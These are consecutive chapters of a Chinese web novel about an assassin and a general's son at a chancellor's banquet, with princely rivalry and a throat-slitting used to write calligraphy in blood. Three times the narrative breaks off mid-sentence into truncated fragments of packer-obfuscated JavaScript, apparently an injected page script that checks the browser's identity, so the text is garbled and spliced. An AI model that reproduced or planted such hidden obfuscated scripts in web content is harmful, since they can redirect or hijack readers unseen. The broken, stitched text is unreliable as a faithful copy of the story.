丞京语慌忙的摆了摆手,“没有没有!方大哥你看错了。”说罢,他祈求似的看向柳扶斐,示意他解救自己。 柳扶斐憋着笑,凑到方隐攸小声解释,“那个痨病鬼昨夜里估计是玩了什么花样,所以京语才会如此。那不是受伤,是...” “是欢好之后的正常现象。” 方隐攸瞥他一眼,“正常现象?” 方隐攸朝丞京语抬抬下巴,“阿丞,你打一套拳给我看看,我来指点指点你。” 丞京语惊喜的瞪大眼睛,“方大哥,你愿意教我功夫了!”说着,他又有些遗憾的垂下头,“只是今日...” “怎么?” 丞京语尴尬的摸了摸脖子,“我有些不方便。” 方隐攸咬紧牙根,看向柳扶斐。 “你怎么从未告诉我,男子欢爱还会有碍于练武?” 柳扶斐一听就懂了方隐攸的意思,心里骂了几句舒慕谨,嘴里连忙解释道:“那是因为姓舒的过于野蛮,我与他不同,必然不会让你行动受阻。” 舒慕谨一个病秧子就算是再野蛮又能野蛮到哪里去? 方隐攸一想要日后要因为床榻之事让他这天下第一刺客行动不便,胸口就觉得十分烦躁。 他斜眼睥像柳扶斐,语气威胁的问道:“当真?” “千真万确!” 柳扶斐说完瞪一眼丞京语,“你说!是不是?” 丞京语听了一会,也弄清楚出了方隐攸的顾忌,连忙帮着柳扶斐解释,“方大哥,公子说的对。” 丞京语脸上浮起一丝羞涩,有些扭拧的撇开视线,“此事,大多数时候都是令人欢愉的,次日不会有任何的不适。” 方隐攸审视的看了丞京语片刻,后知后觉的发现自己似乎问了些过于不合时宜的话,于是窘迫的咳了一声。 “那便下次吧...”他咽了咽嗓子,“下次方便的时候我再来指点你。” 丞京语点点头,和柳扶斐对视一眼,皆松了一口气。 “对了!”丞京语眨眨眼,忽然想起来自己今日来的目的,从怀里拿出一张纸递给柳扶斐。 “公子,慕哥哥让我将南郊庄子的地图给你,说是可能有用。” 柳扶斐去过庄子几次,对那里十分熟悉,所以这地图究竟是给谁的显而易见。 柳扶斐于是转手就将地图递给了方隐攸,然后说道:“那你先与我们一起吃点东西,然后再一道去南郊?” 丞京语摇摇头,“我要回去找慕哥哥,他还在府里等我呢!” 说完,他朝着方隐攸挥挥手,扭头就走了。 方隐攸仔细的观察着地图,这山庄依山傍水,庄内还有一个方方正正的湖,湖边有一个水榭,水榭对面有一栋三层高的木楼,木楼后面是一个大大的花园,园中辟出来一块地,也不知道是做什么用的。 不仅如此,这庄子里还有许多假山、长廊将整个庄子辟成了大大小小的规整的区域。 “今夜,赴宴之人都会宿在这栋楼里。” 柳扶斐的手指从木楼滑到山庄围墙,“来者都是达官显贵,到时他们各自的护卫会围住山庄,不让一只蚂蚁有机会爬进来威胁主子们的安危。” 方隐攸神色复杂的望着他,“只要不出人命,我是不是什么都可以做?” “只要死的不是那几个皇子,出了人命也没什么大不了。” 柳扶斐的视线落到方隐攸悬在腰间的令牌,“有我和我爹在呢,无人敢拿你如何。” 67.赴宴 因着怕失了柳扶斐将军之子的身份,所以虽然方隐攸觉得麻烦,还是只能和他一起坐着马车,慢慢悠悠的往南郊去。 不过好在将军府的马车宽敞,而且装饰的十分豪华,座椅上还铺着软塌,让方隐攸这辈子第一次体验了什么叫做奢靡。 不到二十里的路程,马车走了将近一个时辰才到,方隐攸浑身上下已经被马车里面的熏香腌入味,闻起来十分不自然。 一下了马车,他先是抖了抖肩膀,继而抱着可生剑长呼一口气,再舒适的马车都没有疾步奔走来的舒坦,他方隐攸就是个南蛮屠夫,过不惯讲究日子。 柳扶斐举止优雅的被车夫搀扶着从马车上下来,手中的翠羽扇摇得慢慢悠悠,脸上挂着漫不经心笑意,看上去倒也不觉得这人肤浅,只觉得贵气十足。 方隐攸看他一眼,然后抬起衣袖嗅了嗅,带着几分嫌弃的撇撇嘴,这古怪香味没个一时半会只怕是散不干净。 他看向柳扶斐腰间的织金镂空香囊球,不理解为什么男人会戴这种东西,若是他的话,就只会悬几把匕首短剑,那样才威武气派。 柳扶斐眼角余光一撇,就知道方隐攸心里想的什么,他双手张开,将华丽又轻柔的衣袖在空中微微一扬,荡起一片涟漪。 “方隐攸,本公子今日这身打扮,如何?你可满意?” “除了发簪,一无是处。” 柳扶斐撇撇嘴,轻哼一声,他头顶上的是方隐攸的红玉发簪。 “可这发簪不也是我挑选的吗?” 方隐攸点点头,“是是是,公子,我们还进去吗?” 柳扶斐听着方隐攸的这声公子,下意识的皱了皱眉,感觉浑身不自在,他嘟囔一声,“让你扮作我表弟非不,你这声公子叫的倒是自在,也不管我听起来是个什么滋味。” 方隐攸置若罔闻,往前一步用前肩抵住柳扶斐的后肩,从牙缝里蹦出几个字,“快走,有人打量你我。” 柳扶斐的视线扫过周围,果然瞥见几个如他这般的公子哥正在纳闷的打量着他。 柳扶斐瑶瑶羽扇,朝一个身穿紫色长袍的男子微微颔首,“陈公子,你我倒是久未逢面了,进来可好?” 陈翼德也摇了摇手里的羽扇,笑道:“哪有什么好不好的,就是无趣的很。” 说罢,他上前一步,脸上的表情变得不正经起来,“只是柳公子你最近久居府中未曾出门,可是得了什么稀罕玩意,让你流连忘返了?” 柳扶斐离京去江湖上走一遭的事瞒得很紧,旁人都只以为他在府里有了别的乐趣,所以不再出门寻欢作乐。 柳扶斐挑挑眉,做出一副风流的姿态,朝他露出一个意味不明的浅笑,然后用羽扇挡住嘴,悄声道:“确实是得了个宝贝。” “哦?”陈翼德好奇的睁大眼睛,“我倒是有些好奇是个什么东西了。” 柳扶斐闻言脸上的笑意瞬间收敛,直接一脚踹在陈翼德身上,将人踹的毫无防备的跌坐在地上。 柳扶斐垂眼撇他,“你算个什么东西,也配说这种话?” 坐在地上的陈翼德一脸莫名的望着他,只因自己的爹是个五品小官,所以敢怒不敢言,只能抬手指着柳扶斐,脸涨红一片。 柳扶斐哼一声,手一挥领着方隐攸进了庄子。 一进庄子便是一个小花园,眼下二月刚过,春色满园,花香倒是比熏香闻起来舒坦多了。 方隐攸落后柳扶斐半臂的距离走到园中的青石板路上,面无表情的看着不远处那栋三层高楼。 忽然,方隐攸敏锐的察觉到空气中的一声震鸣,立刻上前一步,挡在柳扶斐面前,手一抬便轻巧的接住了一支急速射来的利箭。 柳扶斐一惊,下意识的将人扯到自己身后挡住,然后冷眼看向长箭射来的方向。 那里是一座假山,山上有一个凉亭,亭中站着的正是身穿锦衣的六皇子钟季祐,他朝着两人抬抬下巴,然后将手中的长弓扔给了身后的一个侍从。 方隐攸望着亭中的人,如今他取下了脸上的面具,长得倒是一表人才,只是眼中的狂妄太甚,让人看了十分不喜。 方隐攸垂眼看向手中长箭,想起来柳扶斐说过的只要不杀皇子便无碍,于是直接将长箭直接扔了回去。 这次的箭速更加迅疾,几乎是在众人没有反应过来之时就直愣愣的插入了钟季祐头顶的发冠中。 方隐攸的力度控制的很好,只箭头没入发冠,发冠依旧稳稳当当的束在他的头顶上,连一根发丝都没有乱。 尽管如此,钟季祐身边的侍从也吓得没了半条命,几人惊慌失措的围在钟季祐身边,几人提剑朝着两人这边奔来。 柳扶斐见状,直接抬手捂住胸口,朝着周围大喊一声,“快快快!叫御医!本公子吓得心疾要犯了!” “是谁!是谁竟然敢暗杀本公子!” “我...我这就回去告诉我爹!” 柳扶斐边说边嚎,“咱们柳家可是差点就要断子绝孙了!” 他手里的羽扇越摇越快,说得气喘吁吁,然后又忽然扑倒方隐攸身上,“幸好有你!救了本公子一命!赏!给我重重的赏!” 方隐攸摸不准他葫芦里卖的什么药,十分配合的抬手指向凉亭中一脸愤懑的钟季祐,“是他射的箭。” 柳扶斐抬头看去,装模作样的惊呼一声,“怎么可能!雍王怎么会想杀本公子?” 他环顾四周陆陆续续围过来的贵公子们,语气变得森然,“说!是你们中的哪一个?” 周围的公子们闻言皆是往后撤一步,无一人敢应。 钟季祐冷眼看他演完了戏,抬手拔下头顶的箭,无所谓的说到:“这箭确实是本王射的,你要如何?” 他话音刚落,还不等柳扶斐回应,一道清冽严厉的呵斥声音从大门的方向传来。 “放肆!” 众人闻声望去,便看到一个身穿赤色长袍,身形修长的男人正一脸怒容的望着亭中的钟季祐。 柳扶斐看到他,脸上的委屈更甚,抬手作揖后说道:“太子殿下,你可要为我做主啊!” 太子钟季棣朝他安抚的抬了抬手,然后朝着钟季祐怒喝一声,“还不快滚下来给柳公子赔罪!” 钟季祐闻言往前一步,站到凉亭边,不服气的朝着柳扶斐喊了一声。 “小王一时失手,没能握稳弓箭,才让这箭射了出去,对不住。” 太子轻拍柳扶斐的肩膀,“四弟狂妄,柳公子莫要与他计较。” 说到此处,他抬眼看向柳扶斐身侧的方隐攸,“只是你这随从胆子不免也太大了些,竟敢向王爷动手,不要命了?” 最后几个字太子说得缓慢,看向方隐攸的眼神也冷酷,带着一股巨大的压迫力。 方隐攸却丝毫不惧,依旧笔挺的站在原地。 太子眉头一皱,又喝一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒慕谨用羽扇挡住下脸,朝着太子轻浮的笑了笑,“他啊,是我最近宠爱的那个小东西的师父!好不容易求来的呢!” 说着,他朝着站在人群后面的丞京语招招手,“阿丞,快看看这是谁?” 丞京语推开挡在面前的人,跑到方隐攸面前激动的一把握住他的手,“方大哥!” 方隐攸眼下已经是一头雾水,但是好在他知道面前的这几个人都是有计谋的,便顺着他们的话往下演。 “我今日跟着公子前来,没想到你也在此。” 丞京语脸色浮起一丝红晕,“是慕哥哥带我来的。” 舒慕谨笑看着太子,“可是阿丞的师父惹得太子不快了?” 按常理来说,一个小侍卫的师父那也是侍卫,在众人眼里只能算个下人,要打要罚自然仅凭太子一句话。 但倘若那个小侍卫是宰相的心爱之人便另当别论了。 京城中人谁不知道宰相舒慕谨是个混不吝的,多情放荡得很,但是唯有一处好,便是他宠爱一人时便是将人放在心尖尖上的宠。 太子虽然是太子,身份尊贵的紧,但是却也并不想因着这么点小事得罪宠臣舒慕谨。 于是他摇了摇头,“宰相言重了,本宫哪里会和一个下人计较。”说罢,他看向围在周围的公子哥一眼,“四弟还没来?” 68.以血为墨 太子话音刚落,便看到一个身穿鸦青色棉布长袍的男子走了过来,他长得和太子极为相似,只是眉峰稍低些,眼间便少了许多的凌厉之感,显得更加的温润。 他径直朝着太子而来,规规矩矩的见了礼,然后又朝着舒慕谨微微一拜,最后朝着周围的人微微颔首示意。 “小王来迟了,诸位见谅。” 太子抬手轻拍他的肩膀,“无碍,走吧。” 舒慕谨捡起柳扶斐扔在地上的羽扇递给他,然后细长的胳膊在空中一扬。 “诸君且随我一道,共赏春景。” 再一扬,继续道:“美人、美酒、美景、美乐,快些一道呈上来!” 一阵清脆的铃声响起,便看到周围的假山后面十几个身姿妙曼、身着纱衣的女子款款而出。 在她们之后是几个抱着乐器的男子,再随后便是端着长桌的下人,桌上摆着满桌美酒美食。 一群人秩序井然的走到大花园的平台之上,然后便开始奏乐跳舞,衬着周围开的灿烂的繁花,倒是一副难得的美景。 那些长桌被摆成了一个圈,围在了舞姬的周围,可近观美女与舞姿。 柳扶斐靠近方隐攸,悄声道:“桌上摆的是醉仙酿,你若是听我的扮作我的表弟,便可以与我同坐饮酒,眼下...”他遗憾的摇摇头,“只怕是不行了。” 方隐攸无所谓的嗯一声,眼角余光打量着太子和四皇子,却无奈的发现这两人的身形十分相似,只这么看着,着实难以分辨四年前的那人究竟是谁。 要是有机会让他们两人都带上面具就好了。 方隐攸想到此,凑到柳扶斐耳边低声问道:“能让他们两人都戴上面具吗?” 柳扶斐闻言眼珠一转,“可以。” 方隐攸原本没抱有希望,但是听他回的这么笃定,但是有几分好奇。 “你要如何做?” 柳扶斐轻笑一声,装模作样的用手指在嘴前一竖,“暂且保密。” “呵。” 说话的功夫,众人也已经穿过了花丛走上了青砖垒成的平台之上。 因着桌子摆的是圆形,除了几位皇子和舒慕谨的坐在尊位上,其他人坐的非常随意,都是和谁关系亲近便和谁坐在一起。 柳扶斐姿势散漫的倚坐在舒慕谨身侧,方隐攸站在他身后,视线往右边一偏便可看到钟季棣和钟季修两人的背影。 从后面看的话两人倒是有几分不同,钟季棣的肩膀比钟季修稍微宽一些,看上去更加的结实一点。 等到众人入座以后,方隐攸看向身侧的丞京语,他原本以为舒慕谨会让他落座,没想到并未如此。 丞京语察觉到方隐攸的视线,侧过脸,用手挡住嘴,悄声道:“方大哥,公子嘱咐我了,若是你不想在此,酒过三巡后可随我去楼中歇着。” 方隐攸点点头,眼角余光忽然瞥见钟季祐正一脸冷笑的盯着自己。 方隐攸朝他轻蔑一笑,张狂的挑挑眉,无声的说到:“废物。” 钟季祐捏紧手中的酒杯,咬牙瞪着方隐攸,恨不得直接砸到他脸上去。 可是—— 钟季祐偷瞄一眼太子,最后还是无奈的咽下了这口气,将杯中酒一饮而尽,酒杯也用力的跺在了桌上,发出一声闷响。 柳扶斐正懒散的倚坐在矮垫之上,一手搭在膝上,一手执杯浅酌,闻声轻笑一声,“怎么,雍王这是不满意宰相庄子里的酒?” 舒慕谨顺势看向钟季祐,手中的羽扇朝他一晃,“王爷若是不喜,那便是我的罪过了,盛情邀请了王爷前来,却不能令王爷满意,实属失职。” 太子钟季棣闻言眉头一皱,眼神轻飘飘的落在钟季祐身上。 钟季祐朝身后侍从招了招手,侍从立刻为他斟满酒。 钟季祐端起酒杯朝着舒慕谨示意,“宰相的酒甚好,是我一时失了手,动静大了些,并非是不满意这酒。” 柳扶斐放下酒杯,拿起桌上的羽扇装模作样的摇了摇,貌似无意的说到:“是吗?王爷这失手失得也太频繁了一些。” “你什么意思?” “我能有什么意思?”柳扶斐依旧悠然的扇着风,望向钟季祐的眼神却轻蔑,“只是短短半个时辰,便看到王爷失手两次,莫不是脑子出了什么毛病?” 钟季祐噔的一下站了起来,手指着柳扶斐恶狠狠的警告,“柳扶斐,你别仗着父皇喜欢你便为所欲为,你别忘了,说到底我才是主子!” “放肆!” 太子钟季棣朝着钟季祐厉声一喝,手中的酒杯直愣愣的朝着他的肩膀掷去,直接将人打得往后飞出丈许,跌落在了花丛中。 钟季祐在侍卫的搀扶下好不容易爬了出来,衣裳上却不可避免的染上了花汁,他愤然的瞪着太子。 “二哥!你为什么帮他?” 太子冷眼一扫,“叫太子!” 钟季祐一愣,脸上多了一丝委屈,闷声叫了一声太子。 “还不快些与柳公子赔罪?” 钟季祐梗着脖子,咬牙切齿的看着柳扶斐,脸色要多难看有多难看。 柳扶斐手中的羽扇一摆,“不敢不敢,方才王爷已经赔过罪了,够了。” 说着,他朝着钟季祐露出一个貌似大度的微笑:“只是王爷以后还是莫再要失手为好。” 钟季祐冷哼一声,看向太子。 太子朝他摆摆手,示意他坐下。 方隐攸看向丞京语,“四皇子很怕太子?” 丞京语思忖片刻后悄声道:“倒是未曾听闻过,不过皇子们之间的事情乃是宫中秘辛,也不是我能知道的。” 方隐攸点点头,转头看向柳扶斐,这事还是得问他才行了。 柳扶斐似乎是察觉到了方隐攸的视线,忽然转过身来朝他眨了眨眼,然后又悄悄的将羽扇背到身后,快速朝他扇了两下。 方隐攸眼中闪过一丝笑意,不动声色的用脚尖轻轻蹭了一下他的脚后跟。 等到酒过三巡后,方隐攸朝丞与京使了个眼色,然后两人便悄悄的退出了花园,去了那栋高楼。 楼中大堂很宽敞,摆着十几张方桌,中间有一个高台,眼下上面空空荡荡,只摆着二十几盆开得正艳的牡丹花。 丞京语引着方隐攸直接上了三楼,这一层都是些宽敞的房间,方隐攸只是随意的瞥了一眼,便看到里面摆着许多富丽堂皇的奇珍异宝。 “这里与二楼一样,都是供这些贵客留宿的雅间,公子的房间在最后面。” 丞京语说完又凑到方隐攸耳边悄声道:“我曾和慕哥哥来过几次,对这里非常的熟悉,若是方大哥有什么需要我帮忙的,可以直说。” 方隐攸不动声色的扫一眼面前的少年,貌似无意的问道:“对于我与你公子此次回京一事,舒慕谨是如何和你说的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人在这时骤然发出一声惊恐的尖叫,打乱了周围乐师奏出的靡靡之音。 舒慕谨满脸嫌恶的撇撇嘴,纤细的手捏住他的下巴一扭,尖叫陡然消失。 舒慕谨举手高呼一声快哉,然后以迅雷不及掩耳之势抽出侍卫腰间的佩剑,一剑割开男子的脖颈,鲜血瞬间如墨汁般泼洒。 随后,他满意的大笑一声,将长剑扔在一旁,双手扶住男子被裹紧的身躯在绢帛上走笔龙蛇。 片刻功夫,绢帛上被血做的墨汁染透,写的是“长恶不悛,从自及也。” 舞姬们和着曲调扭动腰肢,在这八个大字边尽情摇摆,舞出怪诞而又令人称叹的舞姿。 围坐在周围的众人见状皆是满脸笑意,拍手称好。 舒慕谨看一眼绢帛上的字,然后朝着侍卫使了个眼色,他们便举着早就死不瞑目的男子退了下去。 方隐攸咬紧牙根,冷眼看向柳扶斐,却发现他也正看着自己,眼神诡异莫测。 “方大哥,那人该死。” 方隐攸猛地看向丞京语,等着他继续说下去。 “此人生性好色,惯强抢民女,每每得手后都会将人折磨致死。城郊乱葬岗里最新鲜的女尸,永远是他扔的。” 方隐攸不解,“今日赴宴的都是官员或是大臣之子,舒慕谨就这么将人杀了,他不怕丢了官职吗?” 丞京语啊一声?他满脸疑惑的看向方隐攸,问得十分真诚,“慕哥哥为什么要怕?京中侍郎那么多,其子便更多,死了一个有什么大不了,宰相可只有一个。” 方隐攸深呼一口气,往后退一步,不再看窗外的一切,语气淡漠的说道:“这京城,可真是腌臜。” 69.来自钟季祐的警告 方隐攸最后并没有依言在柳扶斐的雅间里面等他,而是随便找了一个隐蔽的假山山洞钻了进去。 山洞外面种着几株山茶,风一吹,猩红的花朵招摇如方才绢帛上的字迹,方隐攸隐约之间还能闻到一股血腥味。 方隐攸用剑鞘轻点山壁,仔细回忆方才舒慕谨拔剑割喉时的动作。 果决、狠厉,就像是他在江湖中常到的复仇者手刃仇人时的那般,还带着一丝不易察觉的畅快。 几声微不可查的脚步声打断了方隐攸的沉思,他警惕的看着洞外,不过一会便看到缓步而至的钟季祐。 钟季祐往前一步,挡住洞口的光,投下的阴影将方隐攸纳入其中,“方隐攸,你好大的胆子。” “一个江湖刺客竟然敢堂而皇之的混进宰相的庄子,你不怕我揭穿你,让你死无葬身之地吗?” 方隐攸呵呵一笑,神态自若的倚靠在墙壁上,抬眼睥着他。 “你敢吗?”方隐攸将手中的可生剑换了个手,“这庄子里的人哪个是我的对手?先不说他们能不能伤我分毫,我却是一定能让你人头落地。” “你!”钟季祐愤愤的指着他,“你真是狂妄至极!” “是狂妄还是实话实说,你难道不知?”方隐攸看着他的眼神越发轻蔑,“若是不信,你不如现在就高呼一声试试?我保证在你喊完以后再取你狗命,不让你将话带到下辈子再说。” 钟季祐的拳头握得咯咯作响,看着方隐攸的眼神恨不得将他生吞活剥,但是最后都变作了一句毫无威胁力的质问,“你来京城做什么?” “与你何关?” 钟季祐冷哼一声,“京城里的能人异士大有人在,你不要以为凭着你那身武功就能任性妄为,小心怎么死的都不知道!” “那又如何?”方隐攸不以为意的耸耸肩,“我方隐攸不过是烂命一条,反正迟早都得死,再说了,我倒要看看究竟是谁能取我的命?” 钟季祐觉得方隐攸简直是不可理喻,他抬起手狠狠的朝着方隐攸点了几下,“我奉劝你,在京城里你最好是藏好自己的身份,否则别怪我没提醒你!” 方隐攸闻言一愣,眼中浮起一丝趣味,他双手怀抱在身前,踱步到洞口,与钟季祐隔着半臂的距离。 “钟季祐,六皇子,雍王。你不是恨不得我早死吗?” 方隐攸落在钟季祐身上的眼神变得戏谑,“如今怎么还反倒关心起我来了?” 钟季祐梗着脖子,瞪着方隐攸,“关心?我不过是怕你死了,身上的秘籍被别人抢了去!” “哦?”方隐攸点点头,“原来如此。”说着,他往后撤一步,遗憾的叹一口气,“那你大概要失望了,这秘籍从来都是莫须有的。” “你骗谁呢?” “我方隐攸从不屑于骗人。” 钟季祐依旧不信,“江湖中谁人不知你手里有秘籍,就算是要骗我也得换个说法,比如说——秘籍被你扔了、烧了亦或是给别人了,都比你说压根没有这本秘籍来的可信。” 方隐攸哦一声,“既然如此,那我离了庄子便告诉世人,我的秘籍被你抢走了,如何?” 钟季祐翻了个白眼,刚想骂方隐攸满嘴胡言,就看到方隐攸朝着自己身后露出一个浅笑,惊得他立刻转身,便和正板着脸站在自己身后的柳扶斐四目相对。 钟季祐吓了一跳,几乎是下意识的要往洞里钻,却又被方隐攸拿剑鞘抵住了背,一时间竟然进退不得。 柳扶斐随手摘下一朵娇艳的山茶花,拿在手中把玩,语气调侃的问道:“六皇子怎么来这里了?” “难道当真是嫌弃宰相的酒不合心意,才中途离席?” 钟季祐皮笑肉不笑的扯了扯嘴角,“我去哪里难道还需要向你禀告不成?” “当然不需要,你可是尊贵的皇子,我不过一个纨绔公子,那可是天壤之别的尊卑差距,要禀告也是我向六皇子禀告才对。” 柳扶斐一边说着,一边随意的撕扯着山茶花瓣扔向钟季祐的脚下,山茶花瓣多且艳丽,堆在他的脚尖像是一滩血。 钟季祐抬脚踢开花瓣,满脸不耐耐的看着他,“你做什么?” 手中的花只剩个花蕊,柳扶斐直接朝着钟季祐一扔,砸在他的衣襟上,花粉粘在上面,星星点点的非常显眼。 钟季祐不可置信的看着自己的衣襟,“柳扶斐!你当真是无法无天!你就不怕我告诉父皇吗?” 柳扶斐抬手装模作样的陶了掏耳朵,“你在圣上面前告状告的还少吗?” “圣上有哪怕一次责罚过我吗?”柳扶斐凑近钟季祐,眼神变得森然,“你最好是离隐攸远一点,否则别怪我去圣上面前将你擅自离京的事捅出去!” 钟季祐闻言下意识的往后退了一步,背后被剑鞘抵住的地方感觉越发明显。 柳扶斐退回原处,朝他抬抬下巴,“还不走吗?太子可是早就注意到你不在了。” 钟季祐回首眼神复杂的看了一眼方隐攸,然后愤然的一甩衣袖,头也不回的走了。 方隐攸看向柳扶斐,“你来做什么?” 柳扶斐抬腿走进洞里,与他并肩倚靠在石壁上,缓缓道:“想来和你在一起。” 方隐攸侧过脸,无语的看着他。 柳扶斐长呼一口气,将头放在他的侧肩上,沉默的看着面前斑驳的石壁。 方隐攸顺着他的视线看了过去,与他一起静静地发呆。 不知道那群人又有了什么开怀的事,乍然响起一阵高昂的哄笑声,这山洞与花园隔着一个湖都能听到。 方隐攸侧过脸看向洞外阳光下分外娇艳的红色山茶花,问道:“舒慕谨是为了帮我,才办的这个宴会吗?” “不是。”柳扶斐闭上眼,将额头往方隐攸的脖颈处挪了挪,继续道:“百官不敢在府中办宴席,但是又忍不住想要饮酒作乐,便只能来此。” “今日赴宴的,除了皇子和你我,皆需给舒慕谨百两黄金方可入庄子。” 方隐攸越听眉头皱得越深,“我大境要亡了。” “为何?” 方隐攸想到这人还担着监督百官之责,嫌弃的瞥他一眼,“你和舒慕谨官官相护,这朝堂算是废了,大境自然要亡。” 柳扶斐睁眼看着他,语气变得无奈,“方隐攸,你看我像是乱臣贼子吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“舒慕谨与他来往较多,他曾说太子是个十分称职的储君。”柳扶斐的语气变得诡异,“不过他对我总是格外提防,所以我鲜少与他往来。” “钟季修呢?” “钟季修?”柳扶斐思索片刻,说道:“他自诩清高,瞧不上我,我便与他相处的也少,只是听到旁人说他是个方正贤良之人,路上遇上乞食者,就算手中无分文,都能将身上锦衣脱下来赠与别人。” 方隐攸微微有些诧异,“京城中还有这样的好人?” 柳扶斐闻言埋怨的剐他一眼,“方隐攸,你这话什么意思?我难道不是好人吗?” “你?”方隐攸的视线将他从头扫到尾,“你顶多算是个金玉其外的贵公子。” “也就是你,旁人若是如此说我,我必要——” “必要将他的祖坟都刨了?”方隐攸眼神戏谑的接过他的话,抬手轻拍他的侧肩,“柳兄如此矜贵的公子,怎么能说如此穷凶极悖的话。” 说完,方隐攸忽然往洞口探了一步,“有人来了。” “公子!方大哥!” 是丞京语的声音,方隐攸松了口气,再次惬意的倚上石壁。 柳扶斐越过他走出山洞,看向迎面而来的丞京语,问道:“怎么了?” “慕哥哥让我来叫你们去用午膳!” 丞京语微微侧过身子看向被他挡住的方隐攸,“公子特意嘱咐了厨子做了炖牛肉,是岭南的口味,方大哥肯定喜欢!” 70.钟季修 事实证明,京城的厨子厨艺再好也做不出岭南的口味。 方隐攸咽下嘴里味道寡淡的牛肉,看向面前桌子上摆着的一坛兑了水的酒,忽然有几分后悔扮作柳扶斐的侍卫了。 不然,他就能喝上醉仙酿,至于面前的这种脏东西,他实在是难以下咽。 坐在他身侧,不知道是哪个达官显贵的侍卫瞥见他面前满满当当的酒坛,讨好的凑过来,问道:“这位小兄弟,你不喝酒?” 方隐攸嗯一声,将酒坛往他面前一递,“给你。” 那侍卫嘿嘿一笑,接过酒坛后灌了一口,满足的打了个酒嗝,感慨一句,“不愧是宰相,连我们这种下人都能喝上这么好的酒。” 他抹一把嘴角的酒渍,看向方隐攸,“我是户部尚书钱居韵的侍卫,你可以叫我张老二,兄弟怎么称呼?” 方隐攸眼珠一转,淡淡道:“方老大。” 张老二嘴角的笑意忽的顿住,有些尴尬的扯了扯嘴角,“方老大是哪位大人的侍卫?” 方隐攸纳闷的打量他一眼,当时他和柳扶斐两人闹出这么大的动静,这人竟然没认出他来? “将军府柳扶斐的侍卫。” 张老二闻言一惊,他上下打量方隐攸一眼,“原来他们口中所说的那个武艺高强的侍卫就是你...” 张老二用手挡住嘴,悄声问道:“你这般厉害,那柳公子给你多少工钱?” 方隐攸闻言心中一动,反过来问道:“你家大人给你多少工钱?” 张老二摸摸鼻子,带着几分轻蔑的说到:“那姓钱的虽然贪,但是胆子却小,从不贪大钱,给我们的工钱便也不多,一月才一两白银。” “不过...”张老二压着嗓子,神秘兮兮的说到:“柳公子外祖家富可敌国,还有个做将军的爹,有钱的很,必然不会如钱尚书一般抠搜吧?” 方隐攸摇摇头,“他不给我工钱。” “啊?”张老二不可置信的低呼一声,“这姓柳的竟然比姓钱的还抠?” 张老二摇着头啧啧嘴,“方老大,我今日既然喝你一坛酒,必然不会让你受此等委屈,你且等着,我张老二肯定会再为你谋一个好差事。” “好差事能开多少银两的工钱?” 一道语气阴阳的声音忽然插了进来,张老二有些意外的转头看了过去,立刻惊得站了起来。 “柳...柳公子...小的不是那个意思...” 柳扶斐手里提着一个酒坛,缓步走到方隐攸面前,将酒坛轻放到桌子上,“醉仙酿。” 张老二闻言一惊,忍不住好奇的用眼角余光撇向方隐攸,却发现他十分自然的揭开封口,仰头喝了一大口美酒。 酒香顷刻之间四溢,长桌边坐着的一排侍卫皆下意识的吸了吸鼻子,然后视线不由自主的偏到了方隐攸身上。 柳扶斐手搭在方隐攸的肩膀上,似笑非笑的睥着张老二,“我委屈他了?” 张老二忙不迭的摇头,“没有!没有没有!” 柳扶斐满意的嗯一声,视线扫向看热闹的旁人,“看什么?” 众人立刻收回视线,脸都快要埋到桌子底下去了。 方隐攸喝了两口酒,终于觉得舒畅了起来,他长呼一口气,抖落柳扶斐搭在自己肩上的手。 柳扶斐却不依不挠的又搭了上去,随后顺势整个人都倚在了他的背上。 张老二离得最近,将两人之间的往来看的一清二楚,心里虽然满腹疑惑,但是也不敢多问一句,只祈求着这尊大佛赶紧离开,别在他们下人待的地方凑热闹。 只可惜,柳扶斐却并未提前走,一直到方隐攸酒足饭饱以后才和他一同离开。 侍卫们吃饭的地方在庄子非常偏僻的西北面的一个小房子里,一出来是长长的一个回廊,穿过回廊后是一处假山,假山后面有一个凉亭。 方隐攸和柳扶斐才在凉亭中石桌边坐下,便看到四皇子钟季修正朝这边走来。 他似乎是心有所感,忽然驻足朝这边望了过来,在看清他们两人以后皱了皱眉,踌躇了片刻才继续往亭子里走来。 柳扶斐撑着下巴,戏谑的朝他问道:“寿王明明瞧见了我,怎么还往这边来?不觉得本公子言行浪荡脏了这周遭的景致?” 钟季修板着脸,但是因着他五官柔和,便也不觉得冷漠。 他缓步走到石桌边坐下,然后从怀里掏出一册书摊开,旁若无人的看了起来。 方隐攸瞥了一眼书页,只觉得上面的字生僻古怪,写的东西也晦涩难懂,完全看不懂是什么书,于是他转头看向柳扶斐。 柳扶斐收到他的视线,朝着钟季修感慨一句,“难怪圣上常说寿王上知天文下知地理,没想到这枯燥无聊的《括地志》都能让你看的如痴如醉。” 钟季修翻过一页书,白净的手指按住书页地脚,并未理会柳扶斐的打趣。 “但是这满园春色难得,寿王却视而不见,当真是辜负了好时节。”柳扶斐说着,忽然伸手将书册盖住,一脸笑意的继续道:“不如与在下一同共赏美景,也算是不浪费了宰相大人邀请你我前来的好意?” 钟季修终于抬眼看向了柳扶斐,那眼神尤为平静,看不见半点不满,他温声道:“春景虽好,但是年年如旧。” “人生百年,犹如一瞬。” “为了一园春色而怠慢学问,虽只片刻,也非读书人所为。” 说罢,钟季修看向柳扶斐盖在书册上的手,“柳公子若是有雅兴,可去赏花扑蝶、亦或是吟诗作画,只是小王就不做陪了。” 柳扶斐讪讪的收回手,“既如此,那我也不叨扰寿王了。” 随后,柳扶斐便和方隐攸一起离开了凉亭,朝着另一处假山走去。 方隐攸回首看了一眼坐的端正的钟季修,“他一直如此?” 柳扶斐点点头,“我幼时入宫时住在皇后宫中,他们几个那时也都还住在后宫中,所以难免会碰见。我每每看到钟季修时他手里都捧着一本书。” “从小到大的书呆子,无趣的很。” 方隐攸嗯一声,“不过我看他行走时步履轻盈,想来是会武的。” “那是因为圣上尚武,所以便要求皇子们从小也习武。” 